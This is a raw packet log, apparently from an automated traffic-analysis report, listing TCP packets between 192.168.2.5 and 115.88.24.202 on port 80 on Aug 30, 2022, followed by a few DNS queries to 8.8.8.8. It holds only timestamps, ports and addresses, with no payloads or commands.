Aug 30, 2022 15:55:13.759996891 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:13.760016918 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:13.760036945 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:13.760042906 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:13.760109901 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:14.024313927 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.024339914 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.024354935 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.024367094 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.024383068 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.024395943 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.024411917 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.024427891 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.024445057 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.024461031 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.024470091 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.024501085 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:14.024558067 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:14.286690950 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.286757946 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.286808014 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.286851883 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.286864042 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:14.286891937 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.286895990 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:14.286930084 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.286968946 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.286983967 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:14.287007093 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.287045956 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.287084103 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.287091017 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:14.287122011 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.287128925 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:14.287163019 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.287199974 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.287206888 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:14.287252903 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.287292957 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.287295103 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:14.287332058 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.287378073 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:14.287405014 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.287441969 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.287480116 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.287484884 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:14.287525892 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.287564039 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.287570000 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:14.339248896 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:14.549537897 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.549566984 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.549588919 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.549609900 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.549632072 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.549662113 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.549680948 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.549693108 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:14.549727917 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:14.689553022 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:14.811584949 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.811640978 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.811743021 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.811777115 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:14.811844110 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.811872005 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.811893940 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.811938047 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.811960936 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.812002897 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.812002897 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:14.812026024 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:14.812057018 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.812081099 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.812105894 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:14.812123060 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.812144995 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.812171936 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:14.812185049 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.812208891 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.812227964 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:14.812246084 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.812268019 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.812289000 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:14.812306881 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.812329054 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.812361002 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:14.812366009 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.812388897 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.812417030 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:14.812429905 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.812453032 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.812474012 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:14.812493086 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.812514067 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.812536955 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:14.812553883 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.812577009 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.812597036 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:14.812613964 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.812638044 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.812658072 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:14.812678099 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.812702894 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.812724113 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:14.812736034 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.812779903 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:14.997473955 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.997509003 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.997526884 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:14.998205900 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:15.076138020 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.076196909 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.076226950 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.076266050 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.076309919 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.076348066 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.076401949 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.076446056 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.076474905 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.076515913 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.076543093 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.076585054 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.076611996 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.076632023 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.078943014 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:15.082226038 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:15.253443003 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.253473043 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.253489017 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.263006926 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:15.311374903 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.311409950 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.311428070 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.312673092 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:15.324862003 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.324902058 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.324930906 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.324954987 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.324982882 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.325007915 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.325037003 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.325064898 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.325093031 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.325119019 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.325141907 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.326175928 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:15.392394066 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:15.512126923 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.512200117 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.512247086 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.517204046 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:15.525456905 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.525561094 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:15.570648909 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.570703030 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.570735931 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.572114944 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:15.584409952 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.584532976 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.584568977 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.584605932 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.584645033 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.584673882 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.584711075 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.584748983 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.584788084 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.584825993 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.584865093 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.584902048 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.584934950 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.595051050 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:15.597970009 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:15.770559072 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.770596027 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.770617008 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.777401924 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:15.827713013 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.827771902 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.827805042 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.832242966 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:15.842108965 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.842150927 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.842174053 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.842751980 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.842784882 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.842804909 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.842834949 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.842861891 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.842890024 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.842919111 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.842947006 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.842987061 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.843038082 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.843060970 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:15.851979971 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:15.855626106 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:16.029966116 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.030061007 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.030111074 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.030225039 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:16.086505890 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.086563110 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.086594105 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.087825060 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:16.101805925 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.101876974 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.101907969 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.101934910 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:16.102202892 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.102242947 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.102260113 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:16.102282047 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.102313042 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.102329016 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:16.102349997 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.102389097 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.102405071 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:16.102427959 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.102467060 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.102478027 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:16.102499008 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.102543116 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:16.287945986 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.288005114 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.288047075 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.292345047 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:16.345447063 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.345509052 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.345540047 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:16.345551968 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.345613003 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:16.360264063 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.360362053 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.360419035 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.367619038 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:16.619760036 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.619811058 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.619975090 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.620088100 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.620136976 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.620220900 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.620260954 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.620300055 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.620342016 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.620405912 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.620446920 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.620480061 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.620503902 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.620538950 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.620559931 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.620585918 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.620614052 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.620632887 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.620665073 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.620687008 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.620711088 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.620724916 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.629177094 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:16.629409075 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:16.629658937 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:16.878181934 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.878246069 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.878297091 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.878348112 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.878392935 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.878475904 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.878528118 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.878577948 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.878618956 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.878668070 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.878719091 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.878758907 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.878808022 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.878842115 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:16.883738041 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:16.890254021 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:17.119478941 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:17.119548082 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:17.119601965 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:17.119652033 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:17.134850979 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:17.134924889 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:17.134963989 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:17.135015011 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:17.135061026 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:17.135111094 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:17.135162115 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:17.135217905 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:17.135230064 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:17.135286093 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:17.135298967 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:17.135365963 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:17.135415077 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:17.135437965 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:17.135488033 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:17.135525942 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:17.135543108 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:17.182574987 CEST	49743	80	192.168.2.5	115.88.24.202
Aug 30, 2022 15:55:17.380333900 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:17.380388021 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:17.380445957 CEST	80	49743	115.88.24.202	192.168.2.5
Aug 30, 2022 15:55:17.382431030 CEST	49743	80	192.168.2.5	115.88.24.202

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 30, 2022 15:54:12.884926081 CEST	65323	53	192.168.2.5	8.8.8.8
Aug 30, 2022 15:54:12.995105028 CEST	53	65323	8.8.8.8	192.168.2.5
Aug 30, 2022 15:54:20.912224054 CEST	51484	53	192.168.2.5	8.8.8.8
Aug 30, 2022 15:54:20.941926003 CEST	53	51484	8.8.8.8	192.168.2.5
Aug 30, 2022 15:54:20.950628042 CEST	63446	53	192.168.2.5	8.8.8.8
Aug 30, 2022 15:54:21.057984114 CEST	53	63446	8.8.8.8	192.168.2.5
Aug 30, 2022 15:54:21.067568064 CEST	56751	53	192.168.2.5	8.8.8.8
Aug 30, 2022 15:54:21.430907011 CEST	53	56751	8.8.8.8	192.168.2.5
Aug 30, 2022 15:54:21.441735983 CEST	55039	53	192.168.2.5	8.8.8.8
Aug 30, 2022 15:54:21.471240044 CEST	53	55039	8.8.8.8	192.168.2.5
Aug 30, 2022 15:54:21.488857031 CEST	60975	53	192.168.2.5	8.8.8.8
Aug 30, 2022 15:54:21.516815901 CEST	53	60975	8.8.8.8	192.168.2.5
Aug 30, 2022 15:54:21.538381100 CEST	59220	53	192.168.2.5	8.8.8.8
Aug 30, 2022 15:54:21.815089941 CEST	53	59220	8.8.8.8	192.168.2.5
Aug 30, 2022 15:54:26.612828970 CEST	55068	53	192.168.2.5	8.8.8.8
Aug 30, 2022 15:54:26.802081108 CEST	53	55068	8.8.8.8	192.168.2.5
Aug 30, 2022 15:54:35.356523037 CEST	56682	53	192.168.2.5	8.8.8.8
Aug 30, 2022 15:54:35.376045942 CEST	53	56682	8.8.8.8	192.168.2.5
Aug 30, 2022 15:54:37.211343050 CEST	58532	53	192.168.2.5	8.8.8.8
Aug 30, 2022 15:54:37.539616108 CEST	53	58532	8.8.8.8	192.168.2.5
Aug 30, 2022 15:54:37.760087967 CEST	62659	53	192.168.2.5	8.8.8.8
Aug 30, 2022 15:54:37.846292019 CEST	53	62659	8.8.8.8	192.168.2.5
Aug 30, 2022 15:54:38.075069904 CEST	58581	53	192.168.2.5	8.8.8.8
Aug 30, 2022 15:54:38.094707012 CEST	53	58581	8.8.8.8	192.168.2.5
Aug 30, 2022 15:54:45.874187946 CEST	56263	53	192.168.2.5	8.8.8.8
Aug 30, 2022 15:54:46.158294916 CEST	53	56263	8.8.8.8	192.168.2.5
Aug 30, 2022 15:54:47.196367025 CEST	65513	53	192.168.2.5	8.8.8.8
Aug 30, 2022 15:54:47.214603901 CEST	53	65513	8.8.8.8	192.168.2.5
Aug 30, 2022 15:54:50.364677906 CEST	56687	53	192.168.2.5	8.8.8.8
